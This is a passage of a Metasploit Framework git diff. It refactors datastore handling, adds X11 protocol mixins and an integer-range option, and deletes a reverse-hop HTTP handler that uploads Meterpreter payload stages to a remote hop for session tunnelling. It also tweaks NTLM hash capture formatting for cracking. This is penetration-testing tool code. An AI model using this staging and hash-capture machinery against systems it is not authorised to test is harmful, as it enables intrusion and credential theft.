datastore['SMBPass'], + realm: domain, + username: username, + password: password, framework: framework, framework_module: self, cache_file: datastore['Smb::Krb5Ccname'].blank? ? nil : datastore['Smb::Krb5Ccname'], @@ -178,9 +187,9 @@ def smb_login(simple_client = self.simple) simple_client.login( datastore['SMBName'], - datastore['SMBUser'], - datastore['SMBPass'], - datastore['SMBDomain'], + username, + password, + domain, datastore['SMB::VerifySignature'], datastore['NTLM::UseNTLMv2'], datastore['NTLM::UseNTLM2_session'], diff --git a/lib/msf/core/exploit/remote/smb/relay_server.rb b/lib/msf/core/exploit/remote/smb/relay_server.rb index e596fb399f58..d8610f062709 100644 --- a/lib/msf/core/exploit/remote/smb/relay_server.rb +++ b/lib/msf/core/exploit/remote/smb/relay_server.rb @@ -21,11 +21,11 @@ def initialize(info = {}) end def smb_logger - if datastore['VERBOSE'] - log_device = Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) - else - Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework) - end + log_device = if datastore['VERBOSE'] + Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) + else + Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework) + end Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device) end diff --git a/lib/msf/core/exploit/remote/smb/server/hash_capture.rb b/lib/msf/core/exploit/remote/smb/server/hash_capture.rb index fac5a05d062b..8c11762d1e4d 100644 --- a/lib/msf/core/exploit/remote/smb/server/hash_capture.rb +++ b/lib/msf/core/exploit/remote/smb/server/hash_capture.rb @@ -54,12 +54,14 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:) case ntlm_message.ntlm_version when :ntlmv1, :ntlm2_session hash_type = 'NTLMv1-SSP' + jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV1 client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}" combined_hash << ":#{client_hash}" combined_hash << ":#{bin_to_hex(challenge)}" when :ntlmv2 hash_type = 'NTLMv2-SSP' + jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV2 client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}" combined_hash << ":#{bin_to_hex(challenge)}" @@ -68,8 +70,6 @@ def report_ntlm_type3(address:, ntlm_type1:, ntlm_type2:, ntlm_type3:) return if hash_type.nil? - jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? Metasploit::Framework::Hashes::JTR_NTLMV1 : Metasploit::Framework::Hashes::JTR_NTLMV2 - if active_db? origin = create_credential_origin_service( { diff --git a/lib/msf/core/exploit/remote/x11.rb b/lib/msf/core/exploit/remote/x11.rb new file mode 100644 index 000000000000..cbd9077147af --- /dev/null +++ b/lib/msf/core/exploit/remote/x11.rb @@ -0,0 +1,7 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::X11 + include Msf::Exploit::Remote::X11::Connect + include Msf::Exploit::Remote::X11::Extension + include Msf::Exploit::Remote::X11::Read +end diff --git a/lib/msf/core/exploit/remote/x11/connect.rb b/lib/msf/core/exploit/remote/x11/connect.rb new file mode 100644 index 000000000000..82594067d95d --- /dev/null +++ b/lib/msf/core/exploit/remote/x11/connect.rb @@ -0,0 +1,55 @@ +# -*- coding: binary -*- + +# +# This mixin is a simplistic implementation of X11 initial connection protocol +# +# Wireshark dissector: https://wiki.wireshark.org/X11 +# + +module Msf::Exploit::Remote::X11::Connect + include Rex::Proto::X11::Connect + + # function used to send the request and receive the response + # for establishing an X11 session. + def x11_connect + sock.put(X11ConnectionRequest.new.to_binary_s) # x11 session establish + packet = '' + connection = nil + begin + header_data = sock.timed_read(X11ConnectHeader.new.num_bytes) + return nil if header_data.nil? + + header = X11ConnectHeader.read(header_data) + if header.success == 0 + body_data = sock.timed_read(header.pad0) + else + body_data = sock.timed_read(header.response_length * 4) + end + return nil if body_data.nil? + + return X11Connection.read(header_data + body_data) + rescue StandardError => e + vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}") + end + connection + end + + # print out the information for an x11 connection which was + # successfully established + def x11_print_connection_info(connection, ip, port) + print_good("#{ip} - Successfully established X11 connection") + vprint_status(" Vendor: #{connection.body.vendor}") + vprint_status(" Version: #{connection.header.protocol_version_major}.#{connection.header.protocol_version_minor}") + vprint_status(" Screen Resolution: #{connection.body.screen_width_in_pixels}x#{connection.body.screen_height_in_pixels}") + vprint_status(" Resource ID: #{connection.body.resource_id_base.inspect}") + vprint_status(" Screen root: #{connection.body.screen_root.inspect}") + report_note( + host: ip, + proto: 'tcp', + sname: 'x11', + port: port, + type: 'x11.server_vendor', + data: "Open X Server (#{connection.body.vendor})" + ) + end +end diff --git a/lib/msf/core/exploit/remote/x11/extension.rb b/lib/msf/core/exploit/remote/x11/extension.rb new file mode 100644 index 000000000000..f15a0eb047a9 --- /dev/null +++ b/lib/msf/core/exploit/remote/x11/extension.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +# +# This mixin is a simplistic implementation of X11 initial connection protocol +# +# Wireshark dissector: https://wiki.wireshark.org/X11 +# + +module Msf::Exploit::Remote::X11::Extension + include Msf::Exploit::Remote::X11::Read + include Rex::Proto::X11::Extension + + # Query for an extension, converts the name of the extension to the ID # + def x11_query_extension(extension_name, call_count) + sock.put(X11QueryExtensionRequest.new(extension: extension_name, unused2: call_count).to_binary_s) + x11_read_response(X11QueryExtensionResponse) + end + + # toggles an extension on or off (enable/disable) + def x11_toggle_extension(extension_id, wanted_major: 0, toggle: true) + sock.put( + X11ExtensionToggleRequest.new( + opcode: extension_id, + toggle: (toggle ? 0 : 1), # 0 is enable, 1 is disable + wanted_major: wanted_major + ).to_binary_s + ) + x11_read_response(X11ExtensionToggleResponse) + end +end diff --git a/lib/msf/core/exploit/remote/x11/read.rb b/lib/msf/core/exploit/remote/x11/read.rb new file mode 100644 index 000000000000..f4ed1337bde0 --- /dev/null +++ b/lib/msf/core/exploit/remote/x11/read.rb @@ -0,0 +1,46 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::X11::Read + def x11_read_response(klass, timeout: 10) + unless klass.fields.field_name?(:response_length) + raise ::ArgumentError, 'X11 class must have the response_length field to be read' + end + + remaining = timeout + reply_instance = klass.new + + metalength = reply_instance.response_length.num_bytes + buffer, elapsed_time = Rex::Stopwatch.elapsed_time do + sock.read(reply_instance.response_length.abs_offset + metalength, remaining) + end + raise ::EOFError, 'X11: failed to read response' if buffer.nil? + + remaining -= elapsed_time + + # see: https://www.x.org/releases/X11R7.7/doc/xproto/x11protocol.html#request_format + response_length = reply_instance.response_length.read(buffer[-metalength..]).value + response_length *= 4 # field is in 4-byte units + response_length += 32 # 32 byte header is not included + + while buffer.length < response_length && remaining > 0 + chunk, elapsed_time = Rex::Stopwatch.elapsed_time do + sock.read(response_length - buffer.length, remaining) + end + + remaining -= elapsed_time + break if chunk.nil? + + buffer << chunk + end + + unless buffer.length == response_length + if remaining <= 0 + raise Rex::TimeoutError, 'X11: failed to read response due to timeout' + end + + raise ::EOFError, 'X11: failed to read response' + end + + reply_instance.read(buffer) + end +end diff --git a/lib/msf/core/feature_manager.rb b/lib/msf/core/feature_manager.rb index 3ab3865ae771..d822bb96dd98 100644 --- a/lib/msf/core/feature_manager.rb +++ b/lib/msf/core/feature_manager.rb @@ -15,7 +15,6 @@ class FeatureManager CONFIG_KEY = 'framework/features' WRAPPED_TABLES = 'wrapped_tables' - DATASTORE_FALLBACKS = 'datastore_fallbacks' FULLY_INTERACTIVE_SHELLS = 'fully_interactive_shells' MANAGER_COMMANDS = 'manager_commands' METASPLOIT_PAYLOAD_WARNINGS = 'metasploit_payload_warnings' @@ -28,6 +27,7 @@ class FeatureManager MSSQL_SESSION_TYPE = 'mssql_session_type' LDAP_SESSION_TYPE = 'ldap_session_type' SHOW_SUCCESSFUL_LOGINS = 'show_successful_logins' + DISPLAY_MODULE_ACTION = 'display_module_action' DEFAULTS = [ { @@ -48,13 +48,6 @@ class FeatureManager default_value: false, developer_notes: 'Useful for developers, likely not to ever be useful for an average user' }.freeze, - { - name: DATASTORE_FALLBACKS, - description: 'When enabled you can consistently set username across modules, instead of setting SMBUser/FTPUser/BIND_DN/etc', - requires_restart: true, - default_value: true, - developer_notes: 'This functionality is enabled by default now, and the feature flag can be removed now' - }.freeze, { name: METASPLOIT_PAYLOAD_WARNINGS, description: 'When enabled Metasploit will output warnings about missing Metasploit payloads, for instance if they were removed by antivirus etc', @@ -124,6 +117,13 @@ class FeatureManager requires_restart: false, default_value: true, developer_notes: 'Enabled in Metasploit 6.4.x' + }.freeze, + { + name: DISPLAY_MODULE_ACTION, + description: 'When enabled after using a module the current action and number of actions will be displayed', + requires_restart: false, + default_value: true, + developer_notes: 'Added as a feature so users can turn it off if they wish to reduce clutter in their terminal' }.freeze ].freeze diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb deleted file mode 100644 index f105222f1841..000000000000 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ /dev/null @@ -1,302 +0,0 @@ -# -*- coding: binary -*- -require 'rex/io/stream_abstraction' -require 'rex/sync/ref' -require 'uri' - -module Msf -module Handler - -### -# -# This handler implements the HTTP hop tunneling interface. -# It acts like an HTTP server to the meterpreter packet dispatcher but -# as an HTTP client to actually send and receive the data from the hop. -# -### -module ReverseHopHttp - - include Msf::Handler::ReverseHttp - - # - # Magic bytes to know we are talking to a valid hop - # - MAGIC = 'TzGq' - - # hop_handlers is a class-level instance variable - class << self; attr_accessor :hop_handlers end - attr_accessor :monitor_thread # :nodoc: - attr_accessor :handlers # :nodoc: - attr_accessor :closed_handlers # :nodoc: - attr_accessor :mclient # :nodoc: - attr_accessor :current_url # :nodoc: - attr_accessor :control # :nodoc: - attr_accessor :refs # :nodoc: - attr_accessor :lock # :nodoc: - - # - # Keeps track of what hops have active handlers - # - @hop_handlers = {} - - # - # Returns the string representation of the handler type - # - def self.handler_type - return "reverse_hop_http" - end - - # - # Returns the connection-described general handler type, in this case - # 'tunnel'. - # - def self.general_handler_type - "tunnel" - end - - # - # Returns the socket type. (hop) - # - def type? - return 'hop' - end - - # - # Sets up a handler. Doesn't do much since it's all in start_handler. - # - def setup_handler - self.handlers = {} - self.closed_handlers = {} - self.lock = Mutex.new - end - - # - # Starts the handler along with a monitoring thread to handle data transfer - # - def start_handler - # Our HTTP client and URL for talking to the hop - uri = URI(full_uri) - self.control = "#{uri.request_uri}control" - self.mclient = Rex::Proto::Http::Client.new( - uri.host, - uri.port, - { - 'Msf' => framework - }, - full_uri.start_with?('https') - ) - @running = true # So we know we can stop it - # If someone is already monitoring this hop, bump the refcount instead of starting a new thread - if ReverseHopHttp.hop_handlers.has_key?(full_uri) - ReverseHopHttp.hop_handlers[full_uri].refs += 1 - return - end - - # Sometimes you just have to do everything yourself. - # Declare ownership of this hop and spawn a thread to monitor it. - self.refs = 1 - ReverseHopHttp.hop_handlers[full_uri] = self - self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri, - self) do |uri, hop_http| - hop_http.send_new_stage(uri) # send stage to hop - delay = 1 # poll delay - # Continue to loop as long as at least one handler or one session is depending on us - until hop_http.refs < 1 && hop_http.handlers.empty? - sleep delay - delay = delay + 1 if delay < 10 # slow down if we're not getting anything - crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control}) - res = hop_http.mclient.send_recv(crequest) # send poll to the hop - next if res.nil? - if res.error - print_error(res.error) - next - end - - # validate responses, handle each message down - received = res.body - until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC - - # good response - delay = 0 # we're talking, speed up - urlen = received.slice!(0,4).unpack('V')[0] - urlpath = received.slice!(0,urlen) - datalen = received.slice!(0,4).unpack('V')[0] - - # do not want handlers to change while we dispatch this - hop_http.lock.lock - #received now starts with the binary contents of the message - if hop_http.handlers.include? urlpath - pack = Rex::Proto::Http::Packet.new - pack.body = received.slice!(0,datalen) - hop_http.current_url = urlpath - hop_http.handlers[urlpath].call(hop_http, pack) - hop_http.lock.unlock - elsif !closed_handlers.include? urlpath - hop_http.lock.unlock - #New session! - conn_id = urlpath.gsub("/","") - # Short-circuit the payload's handle_connection processing for create_session - # We are the dispatcher since we need to handle the comms to the hop - create_session(hop_http, { - :passive_dispatcher => self, - :conn_id => conn_id, - :url => uri.to_s + conn_id + "/\x00", - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :ssl => false, - }) - # send new stage to hop so next inbound session will get a unique ID. - hop_http.send_new_stage(uri) - else - hop_http.lock.unlock - end - end - end - hop_http.monitor_thread = nil #make sure we're out - ReverseHopHttp.hop_handlers.delete(full_uri) - end - end - - # - # Stops the handler and monitoring thread - # - def stop_handler - # stop_handler is called like 3 times, don't decrement refcount unless we're still running - if @running - ReverseHopHttp.hop_handlers[full_uri].refs -= 1 - @running = false - end - end - - # - # Adds a resource. (handler for a session) - # - def add_resource(res, opts={}) - self.handlers[res] = opts['Proc'] - start_handler if monitor_thread.nil? - end - - # - # Removes a resource. - # - def remove_resource(res) - lock.lock - handlers.delete(res) - closed_handlers[res] = true - lock.unlock - end - - # - # Implemented for compatibility reasons - # - def resources - handlers - end - - # - # Implemented for compatibility reasons, does nothing - # - def deref - end - - # - # Implemented for compatibility reasons, does nothing - # - def close_client(cli) - end - - # - # Sends data to hop - # - def send_response(resp) - if not resp.body.empty? - crequest = mclient.request_raw( - 'method' => 'POST', - 'uri' => control, - 'data' => resp.body, - 'headers' => {'X-urlfrag' => current_url} - ) - # if receiving POST data, hop does not send back data, so we can stop here - mclient.send_recv(crequest) - end - end - - # - # Return the URI of the hop point. - # - def full_uri - uri = datastore['HOPURL'] - return uri if uri.end_with?('/') - return "#{uri}/" if uri.end_with?('?') - "#{uri}?/" - end - - # - # Returns a string representation of the local hop - # - def localinfo - "Hop client" - end - - # - # Returns the URL of the remote hop end - # - def peerinfo - uri = URI(full_uri) - "#{uri.host}:#{uri.port}" - end - - # - # Initializes the Hop HTTP tunneling handler. - # - def initialize(info = {}) - super - - register_options( - [ - OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ]) - ], Msf::Handler::ReverseHopHttp) - - end - - # - # Generates and sends a stage up to the hop point to be ready for the next client - # - def send_new_stage(uri) - # try to get the UUID out of the existing URI - info = process_uri_resource(uri.to_s) - uuid = info[:uuid] || Msf::Payload::UUID.new - - # generate a new connect - sum = uri_checksum_lookup(:connect) - conn_id = generate_uri_uuid(sum, uuid) - conn_id = conn_id[1..-1] if conn_id.start_with? '/' - url = full_uri + conn_id + "/\x00" - fulluri = URI(full_uri + conn_id) - - print_status("Preparing stage for next session #{conn_id}") - blob = stage_payload( - uuid: uuid, - uri: fulluri.request_uri, - lhost: uri.host, - lport: uri.port - ) - - #send up - crequest = mclient.request_raw( - 'method' => 'POST', - 'uri' => control, - 'data' => encode_stage(blob), - 'headers' => {'X-init' => 'true'} - ) - res = mclient.send_recv(crequest) - print_status("Uploaded stage to hop #{full_uri}") - print_error(res.error) if !res.nil? && res.error - - #return conn info - [conn_id, url] - end - -end - -end -end diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb deleted file mode 100644 index 082f7a88a88c..000000000000 --- a/lib/msf/core/handler/reverse_https_proxy.rb +++ /dev/null @@ -1,58 +0,0 @@ -# -*- coding: binary -*- -require 'rex/io/stream_abstraction' -require 'rex/sync/ref' - -module Msf -module Handler - -### -# -# This handler implements the HTTP SSL tunneling interface. -# -### -module ReverseHttpsProxy - - include Msf::Handler::ReverseHttp - - # - # Returns the string representation of the handler type - # - def self.handler_type - return "reverse_https_proxy" - end - - # - # Returns the connection-described general handler type, in this case - # 'tunnel'. - # - def self.general_handler_type - "tunnel" - end - - # - # Initializes the HTTP SSL tunneling handler. - # - def initialize(info = {}) - super - - register_options( - [ - OptAddressLocal.new('LHOST', "The local listener hostname", default: "127.0.0.1"), - OptPort.new('LPORT', "The local listener port", default: 8443) - ] + - Msf::Opt::http_proxy_options, - Msf::Handler::ReverseHttpsProxy) - - register_advanced_options( - [ - OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]) - ], Msf::Handler::ReverseHttpsProxy) - - end - -end - -end -end - diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 749fd276a488..ff455d4716d1 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -136,7 +136,7 @@ def initialize(info = {}) self.options.add_evasion_options(info['EvasionOptions'], self.class) # Create and initialize the data store for this module - self.datastore = ModuleDataStore.new(self) + self.datastore = Msf::ModuleDataStore.new(self) # Import default options into the datastore import_defaults diff --git a/lib/msf/core/module/data_store.rb b/lib/msf/core/module/data_store.rb index 675e400ab588..b4a231ba9b8a 100644 --- a/lib/msf/core/module/data_store.rb +++ b/lib/msf/core/module/data_store.rb @@ -21,7 +21,7 @@ def import_defaults(clear_datastore = true) # If there are default options, import their values into the datastore if (module_info['DefaultOptions']) - if datastore.is_a?(Msf::DataStoreWithFallbacks) + if datastore.is_a?(Msf::DataStore) self.datastore.import_defaults_from_hash(module_info['DefaultOptions'], imported_by: 'import_defaults') else self.datastore.import_options_from_hash(module_info['DefaultOptions'], true, 'self') @@ -38,7 +38,7 @@ def import_defaults(clear_datastore = true) def import_target_defaults return unless defined?(targets) && targets && target && target.default_options - if self.datastore.is_a?(Msf::ModuleDataStoreWithFallbacks) + if self.datastore.is_a?(Msf::ModuleDataStore) datastore.import_defaults_from_hash(target.default_options, imported_by: 'import_target_defaults') else datastore.import_options_from_hash(target.default_options, true, 'self') diff --git a/lib/msf/core/module/options.rb b/lib/msf/core/module/options.rb index a7b3d0608369..23bc014db4c5 100644 --- a/lib/msf/core/module/options.rb +++ b/lib/msf/core/module/options.rb @@ -30,7 +30,7 @@ def validate def deregister_options(*names) names.each { |name| real_name = self.datastore.find_key_case(name) - if self.datastore.is_a?(Msf::DataStoreWithFallbacks) + if self.datastore.is_a?(Msf::DataStore) self.datastore.remove_option(name) else self.datastore.delete(name) diff --git a/lib/msf/core/module_data_store.rb b/lib/msf/core/module_data_store.rb index e846d4ad433f..609b2c5c7ace 100644 --- a/lib/msf/core/module_data_store.rb +++ b/lib/msf/core/module_data_store.rb @@ -10,20 +10,7 @@ module Msf ### class ModuleDataStore < DataStore - # Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation. - # - # This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks` - # class instead, if the feature is enabled - def self.new(m) - if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - return Msf::ModuleDataStoreWithFallbacks.new(m) - end - - instance = allocate - instance.send(:initialize, m) - instance - end - + # @param [Msf::Module] m def initialize(m) super() @@ -31,51 +18,63 @@ def initialize(m) end # - # Fetch the key from the local hash first, or from the framework datastore - # if we can't directly find it - # - def fetch(key) - key = find_key_case(key) - val = nil - val = super if(@imported_by[key] != 'self') - if (val.nil? and @_module and @_module.framework) - val = @_module.framework.datastore[key] - end - val = super if val.nil? - val + # Return a copy of this datastore. Only string values will be duplicated, other values + # will share the same reference + # @return [Msf::DataStore] a new datastore instance + def copy + new_instance = self.class.new(@_module) + new_instance.copy_state(self) + new_instance end + # Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc. + # If a value is not present in the current datastore, the global parent store will be referenced instead # - # Same as fetch - # - def [](key) - key = find_key_case(key) - val = nil - val = super if(@imported_by[key] != 'self') - if (val.nil? and @_module and @_module.framework) - val = @_module.framework.datastore[key] + # @param [String] key The key to search for + # @return [DataStoreSearchResult] + def search_for(key) + k = find_key_case(key) + return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k) + + # Preference globally set values over a module's option default + framework_datastore_search = search_framework_datastore(key) + return framework_datastore_search if framework_datastore_search.found? && !framework_datastore_search.default? + + option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last } + if option + # If the key isn't present - check any additional fallbacks that have been registered with the option. + # i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more + # generic 'Username' fallback + option.fallbacks.each do |fallback| + fallback_search = search_for(fallback) + if fallback_search.found? + return search_result(:option_fallback, fallback_search.value, fallback_key: fallback) + end + end end - val = super if val.nil? - val + + # Checking for imported default values, ignoring case again TODO: add Alias test for this + imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) } + return search_result(:imported_default, imported_default_match.last) if imported_default_match + return search_result(:option_default, option.default) if option + + search_framework_datastore(k) end + protected + + # Search the framework datastore # - # Was this entry actually set or just using its default - # - def default?(key) - (@imported_by[key] == 'self') + # @param [String] key The key to search for + # @return [DataStoreSearchResult] + def search_framework_datastore(key) + return search_result(:not_found, nil) if @_module&.framework.nil? + + @_module.framework.datastore.search_for(key) end - # - # Return a deep copy of this datastore. - # - def copy - ds = self.class.new(@_module) - self.keys.each do |k| - ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) - end - ds.aliases = self.aliases.dup - ds + def search_result(result, value, fallback_key: nil) + DataStoreSearchResult.new(result, value, namespace: :module_data_store, fallback_key: fallback_key) end end end diff --git a/lib/msf/core/module_data_store_with_fallbacks.rb b/lib/msf/core/module_data_store_with_fallbacks.rb deleted file mode 100644 index 0109c74fbf78..000000000000 --- a/lib/msf/core/module_data_store_with_fallbacks.rb +++ /dev/null @@ -1,80 +0,0 @@ -# -*- coding: binary -*- -module Msf - - ### - # - # DataStore wrapper for modules that will attempt to back values against the - # framework's datastore if they aren't found in the module's datastore. This - # is done to simulate global data store values. - # - ### - class ModuleDataStoreWithFallbacks < DataStoreWithFallbacks - - # @param [Msf::Module] m - def initialize(m) - super() - - @_module = m - end - - # - # Return a copy of this datastore. Only string values will be duplicated, other values - # will share the same reference - # @return [Msf::DataStore] a new datastore instance - def copy - new_instance = self.class.new(@_module) - new_instance.copy_state(self) - new_instance - end - - # Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc. - # If a value is not present in the current datastore, the global parent store will be referenced instead - # - # @param [String] key The key to search for - # @return [DataStoreSearchResult] - def search_for(key) - k = find_key_case(key) - return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k) - - # Preference globally set values over a module's option default - framework_datastore_search = search_framework_datastore(key) - return framework_datastore_search if framework_datastore_search.found? && !framework_datastore_search.default? - - option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last } - if option - # If the key isn't present - check any additional fallbacks that have been registered with the option. - # i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more - # generic 'Username' fallback - option.fallbacks.each do |fallback| - fallback_search = search_for(fallback) - if fallback_search.found? - return search_result(:option_fallback, fallback_search.value, fallback_key: fallback) - end - end - end - - # Checking for imported default values, ignoring case again TODO: add Alias test for this - imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) } - return search_result(:imported_default, imported_default_match.last) if imported_default_match - return search_result(:option_default, option.default) if option - - search_framework_datastore(k) - end - - protected - - # Search the framework datastore - # - # @param [String] key The key to search for - # @return [DataStoreSearchResult] - def search_framework_datastore(key) - return search_result(:not_found, nil) if @_module&.framework.nil? - - @_module.framework.datastore.search_for(key) - end - - def search_result(result, value, fallback_key: nil) - DataStoreSearchResult.new(result, value, namespace: :module_data_store, fallback_key: fallback_key) - end - end -end diff --git a/lib/msf/core/modules/external/templates/multi_scanner.erb b/lib/msf/core/modules/external/templates/multi_scanner.erb index eebd6b210529..7dd5e936be96 100644 --- a/lib/msf/core/modules/external/templates/multi_scanner.erb +++ b/lib/msf/core/modules/external/templates/multi_scanner.erb @@ -27,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary def run_batch(ips) datastore.delete('RHOSTS') - datastore.remove_option('RHOSTS') if self.datastore.is_a?(Msf::DataStoreWithFallbacks) + datastore.remove_option('RHOSTS') if self.datastore.is_a?(Msf::DataStore) datastore['rhosts'] = ips execute_module(<%= meta[:path] %>) diff --git a/lib/msf/core/modules/external/templates/single_host_login_scanner.erb b/lib/msf/core/modules/external/templates/single_host_login_scanner.erb index 39919ab1c3bf..bde198d3887d 100644 --- a/lib/msf/core/modules/external/templates/single_host_login_scanner.erb +++ b/lib/msf/core/modules/external/templates/single_host_login_scanner.erb @@ -24,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary def run_host(ip) print_status("Running for #{ip}...") rhost = datastore.delete('RHOST') - datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStoreWithFallbacks) + datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStore) datastore['rhost'] = rhost datastore['userpass'] ||= build_credentials_array datastore['sleep_interval'] ||= userpass_interval diff --git a/lib/msf/core/modules/external/templates/single_scanner.erb b/lib/msf/core/modules/external/templates/single_scanner.erb index 30bed40dec1d..ae5a71985b1e 100644 --- a/lib/msf/core/modules/external/templates/single_scanner.erb +++ b/lib/msf/core/modules/external/templates/single_scanner.erb @@ -23,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary def run_host(ip) print_status("Running for #{ip}...") rhost = datastore.delete('RHOST') - datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStoreWithFallbacks) + datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStore) datastore['rhost'] = rhost execute_module(<%= meta[:path] %>) end diff --git a/lib/msf/core/opt_enum.rb b/lib/msf/core/opt_enum.rb index 344b45b3a5f6..214cfd324506 100644 --- a/lib/msf/core/opt_enum.rb +++ b/lib/msf/core/opt_enum.rb @@ -20,13 +20,22 @@ def initialize(in_name, attrs = [], def valid?(value = self.value, check_empty: true) return false if check_empty && empty_required_value?(value) return true if value.nil? && !required? + return false if value.nil? - !value.nil? && enums.include?(value.to_s) + if case_sensitive? + enums.include?(value.to_s) + else + enums.map(&:downcase).include?(value.to_s.downcase) + end end def normalize(value = self.value) if valid?(value) && !value.nil? - value.to_s + if case_sensitive? + value.to_s + else + enums.find { |e| e.casecmp? value } + end else nil end @@ -44,6 +53,10 @@ def desc protected + def case_sensitive? + enums.map(&:downcase).uniq.length != enums.uniq.length + end + attr_accessor :desc_string # :nodoc: end end diff --git a/lib/msf/core/opt_int_range.rb b/lib/msf/core/opt_int_range.rb new file mode 100644 index 000000000000..b67186749618 --- /dev/null +++ b/lib/msf/core/opt_int_range.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +module Msf + ### + # + # Integer range option. A maximum value can be specified. Negative numbers are + # not supported due to - being used for ranges. Numbers can be excluded by + # using the ! prefix. + # + ### + class OptIntRange < OptBase + attr_reader :maximum + + def initialize(in_name, attrs = [], + required: true, **kwargs) + super + @maximum = kwargs.fetch(:maximum, nil) + end + + def type + 'integer range' + end + + def normalize(value) + value.to_s.gsub(/\s/, '') + end + + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) + + if value.present? + value = value.to_s.gsub(/\s/, '') + return false unless value =~ /\A(!?\d+|!?\d+-\d+)(,(!?\d+|!?\d+-\d+))*\Z/ + end + + super + end + + def self.parse(value) + include = [] + exclude = [] + + value.split(',').each do |range_str| + destination = range_str.start_with?('!') ? exclude : include + + range_str.delete_prefix!('!') + if range_str.include?('-') + start_range, end_range = range_str.split('-').map(&:to_i) + range = (start_range..end_range) + else + single_value = range_str.to_i + range = (single_value..single_value) + end + + destination << range + end + + Enumerator.new do |yielder| + include.each do |include_range| + include_range.each do |num| + break if @maximum && num > @maximum + next if exclude.any? { |exclude_range| exclude_range.cover?(num) } + + yielder << num + end + end + end + end + end +end diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index 6ba0a70f2fb0..67c60a9b05d8 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -9,9 +9,11 @@ module Msf autoload :OptAddress, 'msf/core/opt_address' autoload :OptAddressLocal, 'msf/core/opt_address_local' autoload :OptAddressRange, 'msf/core/opt_address_range' + autoload :OptAddressRoot, 'msf/core/opt_address_routable' autoload :OptBool, 'msf/core/opt_bool' autoload :OptEnum, 'msf/core/opt_enum' autoload :OptInt, 'msf/core/opt_int' + autoload :OptIntRange, 'msf/core/opt_int_range' autoload :OptFloat, 'msf/core/opt_float' autoload :OptPath, 'msf/core/opt_path' autoload :OptPort, 'msf/core/opt_port' diff --git a/lib/msf/core/option_group.rb b/lib/msf/core/option_group.rb index a86fe94640f6..4db83403167b 100644 --- a/lib/msf/core/option_group.rb +++ b/lib/msf/core/option_group.rb @@ -36,7 +36,7 @@ def add_options(option_names) # Validates that any registered and required options are set # # @param options [Array] A modules registered options - # @param datastore [Msf::DataStore|Msf::DataStoreWithFallbacks] A modules datastore + # @param datastore [Msf::DataStore|Msf::DataStore] A modules datastore def validate(options, datastore) issues = {} required_options.each do |option_name| diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 056e904ce911..42ec761fd741 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -475,7 +475,7 @@ def self.choose_payload(mod) lhost = mod.datastore['LHOST'] || Rex::Socket.source_address(mod.datastore['RHOST'] || '50.50.50.50') configure_payload = lambda do |payload| - if mod.datastore.is_a?(Msf::DataStoreWithFallbacks) + if mod.datastore.is_a?(Msf::DataStore) payload_defaults = { 'PAYLOAD' => payload } # Set LHOST if this is a reverse payload diff --git 